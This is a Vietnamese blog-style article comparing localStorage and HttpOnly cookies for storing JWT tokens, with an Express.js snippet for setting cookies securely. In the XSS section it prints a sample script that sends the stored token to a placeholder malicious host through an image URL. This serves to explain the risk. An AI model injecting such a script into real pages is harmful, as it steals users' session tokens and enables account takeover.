Nên lưu JWT Token ở LocalStorage hay Cookies?

Khi xây dựng ứng dụng web, một trong những câu hỏi phổ biến là: "Lưu trữ JWT token ở đâu?" Hai lựa chọn phổ biến là localStorage và cookies với HttpOnly. Mỗi phương án đều có ưu và nhược điểm riêng, tùy thuộc vào yêu cầu bảo mật và sự tiện lợi của ứng dụng.

Trong bài viết này, chúng ta sẽ phân tích ưu và nhược điểm của từng phương án để giúp bạn đưa ra quyết định phù hợp.

Vấn đề bảo mật với LocalStorage​

LocalStorage là một API đơn giản giúp bạn lưu trữ dữ liệu trên trình duyệt. Bạn có thể dễ dàng đặt và lấy giá trị:

localStorage.setItem('token', jwtToken);
const token = localStorage.getItem('token');

Tuy nhiên, vấn đề lớn nhất của localStorage là XSS (Cross-Site Scripting). Nếu ứng dụng của bạn có lỗ hổng XSS, hacker có thể chèn mã độc vào trang web và lấy JWT token từ localStorage, sau đó sử dụng nó để đánh cắp tài khoản người dùng.

Ví dụ về tấn công XSS:

document.write(
  "<img src='https://malicious-site.com?token=" +
    localStorage.getItem('token') +
    "' />"
);

Nếu mã độc này chạy trong trình duyệt của nạn nhân, token sẽ bị gửi đến kẻ tấn công, dẫn đến nguy cơ bị chiếm đoạt tài khoản.

Giải pháp: Dùng Cookies với HttpOnly​

Cookies là một lựa chọn an toàn hơn nhiều khi lưu trữ JWT token, đặc biệt khi sử dụng các flag bảo mật:

• HttpOnly: Ngăn không cho JavaScript truy cập cookie.
• Secure: Chỉ gửi cookie qua HTTPS.
• SameSite: Giúp giảm thiểu nguy cơ tấn công CSRF.

Cách thiết lập cookie an toàn trên server với Express.js:

res.cookie('token', jwtToken, {
  httpOnly: true, // Chặn JavaScript truy cập
  secure: true, // Chỉ gửi qua HTTPS
  sameSite: 'Strict', // Ngăn chặn CSRF
});

Với cách này, JWT token được gửi tự động trong mỗi request mà không cần client phải thao tác gì thêm.

So sánh LocalStorage và Cookies​

Khi nào nên dùng LocalStorage?​

LocalStorage vẫn có những trường hợp sử dụng hợp lý:

• Lưu trữ dữ liệu không nhạy cảm (ví dụ: theme giao diện, trạng thái UI...)
• Khi bạn đã có biện pháp bảo vệ XSS cực kỳ tốt (CSP nghiêm ngặt, kiểm tra đầu vào chặt chẽ...)
• Khi bạn muốn tự kiểm soát việc gửi token trong các request thay vì để trình duyệt tự động gửi như với cookies.

Suy nghĩ cá nhân​

Khi tôi suy nghĩ về việc chọn lưu JWT token trong localStorage hay cookie, tôi sẽ dựa vào ba yếu tố chính: bảo mật, tiện lợi và yêu cầu thực tế của ứng dụng.

Bảo mật

• Nếu bảo mật là yếu tố quan trọng, tôi sẽ nghiêng về cookies, đặc biệt là khi token được đánh dấu HttpOnly và Secure. Việc HttpOnly giúp giảm thiểu rủi ro bị tấn công XSS, vì JavaScript không thể truy cập vào cookie. Tuy nhiên, việc bảo mật này yêu cầu cấu hình chính xác các flag cookie và thiết lập chính sách bảo mật nghiêm ngặt (ví dụ: sử dụng SameSite để ngăn chặn CSRF).

Tiện lợi

• localStorage khá tiện lợi vì bạn có thể dễ dàng truy cập và thao tác với token thông qua JavaScript. Điều này làm việc dễ dàng hơn với các yêu cầu API khi bạn cần tự thêm token vào header của các request. Tuy nhiên, như tôi đã nói, localStorage sẽ không bảo vệ bạn khỏi XSS nếu ứng dụng không cẩn thận với đầu vào người dùng.

Ứng dụng thực tế

• Đối với những ứng dụng mà các yêu cầu bảo mật không quá nghiêm ngặt, như một ứng dụng nội bộ, hoặc bạn có biện pháp bảo vệ XSS tốt (như làm sạch và kiểm tra đầu vào chặt chẽ, sử dụng CSP), localStorage có thể là một lựa chọn nhanh chóng và dễ dàng.
• Đối với ứng dụng có yêu cầu bảo mật cao, như những hệ thống thanh toán hoặc ứng dụng có khả năng bị tấn công từ bên ngoài, cookie với HttpOnly và Secure sẽ là sự lựa chọn an toàn hơn, mặc dù có thể khiến bạn phải xử lý các tình huống bảo mật như CSRF.

Kết luận​

Không có câu trả lời duy nhất cho việc lưu trữ JWT token. Nếu ứng dụng của bạn có yêu cầu bảo mật cao, hãy cân nhắc sử dụng cookies với HttpOnly. Nếu bạn cần sự tiện lợi và có các biện pháp bảo vệ XSS tốt, localStorage vẫn có thể là một lựa chọn hợp lý.

Bạn đã từng gặp vấn đề bảo mật nào khi dùng localStorage hoặc cookies chưa? Hãy chia sẻ trải nghiệm của bạn trong phần bình luận nhé!

Cảm ơn tài liệu tham khảo từ 💓

• Please Stop Using Local Storage
• LocalStorage vs Cookies: All You Need To Know About Storing JWT Tokens Securely in The Front-End